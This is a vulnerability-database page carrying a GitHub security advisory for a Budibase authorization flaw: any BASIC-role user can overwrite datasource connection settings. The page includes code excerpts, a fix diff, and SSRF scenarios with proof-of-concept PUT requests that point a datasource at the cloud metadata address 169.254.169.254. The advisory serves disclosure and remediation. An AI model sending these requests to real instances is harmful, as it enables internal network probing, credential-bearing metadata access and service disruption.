GHSA-44M2-CRH7-F4Q2

Vulnerability from github – Published: 2026-05-15 17:59 – Updated: 2026-05-15 17:59
VLAI
Summary
Budibase: `PUT /api/datasources/:datasourceId` is protected only by `TABLE/READ` permission instead of builder access, allowing any authenticated app user to overwrite datasource connection parameters including host, port, and URL
Details

Summary

Budibase exposes a REST API for datasource management. The route PUT /api/datasources/:datasourceId is registered in the authorizedRoutes group with TABLE/READ permission. This is the same authorization level as the read endpoint (GET /api/datasources/:datasourceId). Every authenticated Budibase app user with the BASIC built-in role or higher carries TABLE/WRITE (and therefore TABLE/READ) permissions, and the datasource update controller performs no additional builder check.

As a result, any authenticated non-builder app user can submit a PUT request to rewrite a datasource's config object — including the connection host, port, database credentials, or the base url of a REST datasource. Because no network-level SSRF protection is applied to SQL driver connections, redirecting a PostgreSQL/MySQL/MongoDB datasource to an internal IP address succeeds and the attacker can probe or interact with internal services on arbitrary ports.

Code evidence

Route registration — wrong authorization group

packages/server/src/api/routes/datasource.ts, line 35-37
authorizedRoutes
  .get("/api/datasources/:datasourceId", datasourceController.find)
  .put("/api/datasources/:datasourceId", datasourceController.update)   // <-- should be builderRoutes

All destructive (create/delete/verify) operations are gated behind builderRoutes:

builderRoutes
  .get("/api/datasources", datasourceController.fetch)
  .post("/api/datasources/verify", datasourceController.verify)
  .post("/api/datasources", datasourceValidator(), datasourceController.save)
  .delete("/api/datasources/:datasourceId/:revId", datasourceController.destroy)

The update route shares the same authorization group as the read route, not the builder group.

Authorization middleware allows BASIC-role users

packages/server/src/middleware/authorized.ts, lines 46-50
packages/backend-core/src/security/permissions.ts, lines 82-90
packages/backend-core/src/security/roles.ts, lines 162-169

authorizedRoutes is defined with authorized(PermissionType.TABLE, PermissionLevel.READ).

When doesHaveBasePermission(TABLE, READ, rolesHierarchy) is evaluated for a BASIC-role user:

  • BASIC role → BuiltinPermissionID.WRITE
  • WRITE permission includes PermissionImpl(PermissionType.TABLE, PermissionLevel.WRITE)
  • getAllowedLevels(WRITE) returns [WRITE, READ]
  • Therefore TABLE/READ is satisfied → user is authorized

BASIC is the lowest non-public authenticated built-in role. Any end-user account added to a Budibase app will be assigned at minimum the BASIC role.

Controller performs no additional builder check

packages/server/src/api/controllers/datasource.ts, lines 207-255
export async function update(ctx) {
  const db = context.getWorkspaceDB()
  const datasourceId = ctx.params.datasourceId
  const baseDatasource = await sdk.datasources.get(datasourceId)  // no builder guard
  await invalidateVariables(baseDatasource, ctx.request.body)

  const dataSourceBody: Datasource = isBudibaseSource
    ? { name: ..., type: ..., source: SourceName.BUDIBASE }
    : ctx.request.body                                              // attacker-controlled config

  let datasource: Datasource = {
    ...baseDatasource,
    ...sdk.datasources.mergeConfigs(dataSourceBody, baseDatasource),  // merges attacker config
  }

  const response = await db.put(sdk.tables.populateExternalTableSchemas(datasource))  // persisted
  ...
}

mergeConfigs does not protect non-password connection fields

packages/server/src/sdk/workspace/datasources/datasources.ts, lines 278-316

mergeConfigs only replaces PASSWORD_REPLACEMENT sentinel values back to the stored secret. Fields like host, port, database, url, ssl are taken from the update payload without restriction:

// update back to actual passwords for everything else
for (let [key, value] of Object.entries(update.config)) {
  if (value !== PASSWORD_REPLACEMENT) {
    continue          // non-password fields pass through unchanged
  }
  ...
}

Attack scenarios

Scenario 1: SSRF via SQL driver connection redirection

  1. Attacker is a BASIC-role user of a Budibase app that has a PostgreSQL (or MySQL/MongoDB) datasource.
  2. Attacker sends: ```http PUT /api/datasources/ HTTP/1.1 Host: target Authorization: Bearer Content-Type: application/json

{ "config": { "host": "169.254.169.254", "port": 5432, "database": "postgres", "user": "postgres", "password": "PASSWORD_REPLACEMENT" } } `` 3. Datasource config is persisted withhost: 169.254.169.254. 4. Any subsequent query execution against this datasource (POST /api/queries/execute) causes Budibase's PostgreSQL driver to open a TCP connection to169.254.169.254:5432` on the internal network. 5. Unlike REST connector SSRF (which has an IP deny list), SQL driver connections are made at the OS network level without HTTP-layer filtering, bypassing the existing SSRF mitigation introduced for REST connectors.

Scenario 2: SSRF via REST datasource URL change

  1. Same setup with a REST datasource.
  2. Attacker sends: http PUT /api/datasources/<datasource_id> HTTP/1.1 ... { "config": { "url": "http://169.254.169.254/latest/meta-data/" } }
  3. If the IMPORT_IP_DENY_LIST equivalent for Budibase's REST connector is not configured, the fetch proceeds and the response is visible in query results.
  4. Even with IP restrictions on the REST connector, the attacker can point the URL to any public-facing internal service (e.g., a staging server, internal API).

Scenario 3: Datasource disruption / DoS

An attacker with BASIC permissions can overwrite the datasource config with garbage values, breaking all application queries that depend on that datasource for all users of the app.

Minimal PoC shape

PUT /api/datasources/<target_datasource_id> HTTP/1.1
Host: <budibase-host>
Authorization: Bearer <basic-user-access-token>
Content-Type: application/json

{
  "name": "Modified",
  "source": "POSTGRES",
  "type": "datasource",
  "config": {
    "host": "169.254.169.254",
    "port": 5432,
    "database": "postgres",
    "user": "postgres",
    "password": "PASSWORD_REPLACEMENT",
    "ssl": false
  }
}

Expected secure behavior: - Return 403 Forbidden — only builder/admin users should be allowed to update datasource configurations.

Observed source behavior: - Config is persisted to CouchDB and all future queries against the datasource use the attacker-supplied connection parameters.

Impact

Dimension Assessment
Privileges required Authenticated BASIC-role app user (lowest non-public role)
User interaction None
Confidentiality High — SSRF to cloud metadata or internal services
Integrity High — overwrites datasource used by all app users
Availability High — can break all queries by injecting invalid config

Initial severity estimate: High (CVSS ~8.1)

Why this is distinct from known CVEs

CVE / GHSA Root cause Different because
CVE-2026-31818 (SSRF in REST connector) IMPORT_IP_DENY_LIST not set by default That fixed HTTP-level filter; SQL driver connections bypass HTTP-layer protection entirely
GHSA-2g39-332f-68p9 (RBAC privilege escalation) Creator role could create Admin roles Different mechanism — role creation, not route auth bypass
GHSA-gw94-hprh-4wj8 (Universal auth bypass) ?/webhooks/trigger param bypassed auth Completely different attack primitive
GHSA-726g-59wr-cj4c (PostgreSQL dump command injection) Unsanitized connection params in backup path Different vector — this is write access to live connection config

The root cause here is a route-level authorization misconfiguration: PUT /api/datasources/:id is registered in the wrong endpoint group (authorizedRoutes vs builderRoutes).

Fix direction

Move the PUT /api/datasources/:datasourceId route from authorizedRoutes to builderRoutes:

- authorizedRoutes
-   .get("/api/datasources/:datasourceId", datasourceController.find)
-   .put("/api/datasources/:datasourceId", datasourceController.update)

+ authorizedRoutes
+   .get("/api/datasources/:datasourceId", datasourceController.find)

+ builderRoutes
+   .put("/api/datasources/:datasourceId", datasourceController.update)

Submission note

Current state: source-confirmed candidate. Runtime reproduction (HTTP request against live Budibase instance) has not been executed in this session. Budibase has an active GHSA process — security reports via GitHub Security Advisories should receive triage within days based on historical pattern.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@budibase/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.38.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45717"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-15T17:59:47Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nBudibase exposes a REST API for datasource management. The route `PUT /api/datasources/:datasourceId` is registered in the `authorizedRoutes` group with `TABLE/READ` permission. This is the same authorization level as the read endpoint (`GET /api/datasources/:datasourceId`). Every authenticated Budibase app user with the `BASIC` built-in role or higher carries `TABLE/WRITE` (and therefore `TABLE/READ`) permissions, and the datasource update controller performs no additional builder check.\n\nAs a result, any authenticated non-builder app user can submit a `PUT` request to rewrite a datasource\u0027s `config` object \u2014 including the connection `host`, `port`, database credentials, or the base `url` of a REST datasource. Because no network-level SSRF protection is applied to SQL driver connections, redirecting a PostgreSQL/MySQL/MongoDB datasource to an internal IP address succeeds and the attacker can probe or interact with internal services on arbitrary ports.\n\n## Code evidence\n\n### Route registration \u2014 wrong authorization group\n\n```\npackages/server/src/api/routes/datasource.ts, line 35-37\n```\n\n```typescript\nauthorizedRoutes\n  .get(\"/api/datasources/:datasourceId\", datasourceController.find)\n  .put(\"/api/datasources/:datasourceId\", datasourceController.update)   // \u003c-- should be builderRoutes\n```\n\nAll destructive (create/delete/verify) operations are gated behind `builderRoutes`:\n\n```typescript\nbuilderRoutes\n  .get(\"/api/datasources\", datasourceController.fetch)\n  .post(\"/api/datasources/verify\", datasourceController.verify)\n  .post(\"/api/datasources\", datasourceValidator(), datasourceController.save)\n  .delete(\"/api/datasources/:datasourceId/:revId\", datasourceController.destroy)\n```\n\nThe `update` route shares the same authorization group as the read route, not the builder group.\n\n### Authorization middleware allows BASIC-role users\n\n```\npackages/server/src/middleware/authorized.ts, lines 46-50\npackages/backend-core/src/security/permissions.ts, lines 82-90\npackages/backend-core/src/security/roles.ts, lines 162-169\n```\n\n`authorizedRoutes` is defined with `authorized(PermissionType.TABLE, PermissionLevel.READ)`.\n\nWhen `doesHaveBasePermission(TABLE, READ, rolesHierarchy)` is evaluated for a BASIC-role user:\n\n- `BASIC` role \u2192 `BuiltinPermissionID.WRITE`\n- `WRITE` permission includes `PermissionImpl(PermissionType.TABLE, PermissionLevel.WRITE)`\n- `getAllowedLevels(WRITE)` returns `[WRITE, READ]`\n- Therefore `TABLE/READ` is satisfied \u2192 user is authorized\n\nBASIC is the lowest non-public authenticated built-in role. Any end-user account added to a Budibase app will be assigned at minimum the BASIC role.\n\n### Controller performs no additional builder check\n\n```\npackages/server/src/api/controllers/datasource.ts, lines 207-255\n```\n\n```typescript\nexport async function update(ctx) {\n  const db = context.getWorkspaceDB()\n  const datasourceId = ctx.params.datasourceId\n  const baseDatasource = await sdk.datasources.get(datasourceId)  // no builder guard\n  await invalidateVariables(baseDatasource, ctx.request.body)\n\n  const dataSourceBody: Datasource = isBudibaseSource\n    ? { name: ..., type: ..., source: SourceName.BUDIBASE }\n    : ctx.request.body                                              // attacker-controlled config\n\n  let datasource: Datasource = {\n    ...baseDatasource,\n    ...sdk.datasources.mergeConfigs(dataSourceBody, baseDatasource),  // merges attacker config\n  }\n\n  const response = await db.put(sdk.tables.populateExternalTableSchemas(datasource))  // persisted\n  ...\n}\n```\n\n### mergeConfigs does not protect non-password connection fields\n\n```\npackages/server/src/sdk/workspace/datasources/datasources.ts, lines 278-316\n```\n\n`mergeConfigs` only replaces `PASSWORD_REPLACEMENT` sentinel values back to the stored secret. Fields like `host`, `port`, `database`, `url`, `ssl` are taken from the update payload without restriction:\n\n```typescript\n// update back to actual passwords for everything else\nfor (let [key, value] of Object.entries(update.config)) {\n  if (value !== PASSWORD_REPLACEMENT) {\n    continue          // non-password fields pass through unchanged\n  }\n  ...\n}\n```\n\n## Attack scenarios\n\n### Scenario 1: SSRF via SQL driver connection redirection\n\n1. Attacker is a BASIC-role user of a Budibase app that has a PostgreSQL (or MySQL/MongoDB) datasource.\n2. Attacker sends:\n   ```http\n   PUT /api/datasources/\u003cdatasource_id\u003e HTTP/1.1\n   Host: target\n   Authorization: Bearer \u003capp-user-token\u003e\n   Content-Type: application/json\n\n   {\n     \"config\": {\n       \"host\": \"169.254.169.254\",\n       \"port\": 5432,\n       \"database\": \"postgres\",\n       \"user\": \"postgres\",\n       \"password\": \"PASSWORD_REPLACEMENT\"\n     }\n   }\n   ```\n3. Datasource config is persisted with `host: 169.254.169.254`.\n4. Any subsequent query execution against this datasource (`POST /api/queries/execute`) causes Budibase\u0027s PostgreSQL driver to open a TCP connection to `169.254.169.254:5432` on the internal network.\n5. Unlike REST connector SSRF (which has an IP deny list), SQL driver connections are made at the OS network level without HTTP-layer filtering, bypassing the existing SSRF mitigation introduced for REST connectors.\n\n### Scenario 2: SSRF via REST datasource URL change\n\n1. Same setup with a REST datasource.\n2. Attacker sends:\n   ```http\n   PUT /api/datasources/\u003cdatasource_id\u003e HTTP/1.1\n   ...\n   {\n     \"config\": {\n       \"url\": \"http://169.254.169.254/latest/meta-data/\"\n     }\n   }\n   ```\n3. If the `IMPORT_IP_DENY_LIST` equivalent for Budibase\u0027s REST connector is not configured, the fetch proceeds and the response is visible in query results.\n4. Even with IP restrictions on the REST connector, the attacker can point the URL to any public-facing internal service (e.g., a staging server, internal API).\n\n### Scenario 3: Datasource disruption / DoS\n\nAn attacker with BASIC permissions can overwrite the datasource config with garbage values, breaking all application queries that depend on that datasource for all users of the app.\n\n## Minimal PoC shape\n\n```http\nPUT /api/datasources/\u003ctarget_datasource_id\u003e HTTP/1.1\nHost: \u003cbudibase-host\u003e\nAuthorization: Bearer \u003cbasic-user-access-token\u003e\nContent-Type: application/json\n\n{\n  \"name\": \"Modified\",\n  \"source\": \"POSTGRES\",\n  \"type\": \"datasource\",\n  \"config\": {\n    \"host\": \"169.254.169.254\",\n    \"port\": 5432,\n    \"database\": \"postgres\",\n    \"user\": \"postgres\",\n    \"password\": \"PASSWORD_REPLACEMENT\",\n    \"ssl\": false\n  }\n}\n```\n\nExpected secure behavior:\n- Return `403 Forbidden` \u2014 only builder/admin users should be allowed to update datasource configurations.\n\nObserved source behavior:\n- Config is persisted to CouchDB and all future queries against the datasource use the attacker-supplied connection parameters.\n\n## Impact\n\n| Dimension | Assessment |\n|---|---|\n| Privileges required | Authenticated BASIC-role app user (lowest non-public role) |\n| User interaction | None |\n| Confidentiality | High \u2014 SSRF to cloud metadata or internal services |\n| Integrity | High \u2014 overwrites datasource used by all app users |\n| Availability | High \u2014 can break all queries by injecting invalid config |\n\nInitial severity estimate: **High (CVSS ~8.1)**\n\n## Why this is distinct from known CVEs\n\n| CVE / GHSA | Root cause | Different because |\n|---|---|---|\n| CVE-2026-31818 (SSRF in REST connector) | `IMPORT_IP_DENY_LIST` not set by default | That fixed HTTP-level filter; SQL driver connections bypass HTTP-layer protection entirely |\n| GHSA-2g39-332f-68p9 (RBAC privilege escalation) | Creator role could create Admin roles | Different mechanism \u2014 role creation, not route auth bypass |\n| GHSA-gw94-hprh-4wj8 (Universal auth bypass) | `?/webhooks/trigger` param bypassed auth | Completely different attack primitive |\n| GHSA-726g-59wr-cj4c (PostgreSQL dump command injection) | Unsanitized connection params in backup path | Different vector \u2014 this is write access to live connection config |\n\nThe root cause here is a **route-level authorization misconfiguration**: `PUT /api/datasources/:id` is registered in the wrong endpoint group (`authorizedRoutes` vs `builderRoutes`).\n\n## Fix direction\n\nMove the `PUT /api/datasources/:datasourceId` route from `authorizedRoutes` to `builderRoutes`:\n\n```diff\n- authorizedRoutes\n-   .get(\"/api/datasources/:datasourceId\", datasourceController.find)\n-   .put(\"/api/datasources/:datasourceId\", datasourceController.update)\n\n+ authorizedRoutes\n+   .get(\"/api/datasources/:datasourceId\", datasourceController.find)\n\n+ builderRoutes\n+   .put(\"/api/datasources/:datasourceId\", datasourceController.update)\n```\n\n## Submission note\n\nCurrent state: source-confirmed candidate.\nRuntime reproduction (HTTP request against live Budibase instance) has not been executed in this session.\nBudibase has an active GHSA process \u2014 security reports via GitHub Security Advisories should receive triage within days based on historical pattern.",
  "id": "GHSA-44m2-crh7-f4q2",
  "modified": "2026-05-15T17:59:47Z",
  "published": "2026-05-15T17:59:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-44m2-crh7-f4q2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Budibase/budibase"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/releases/tag/3.38.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Budibase: `PUT /api/datasources/:datasourceId` is protected only by `TABLE/READ` permission instead of builder access, allowing any authenticated app user to overwrite datasource connection parameters including host, port, and URL"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…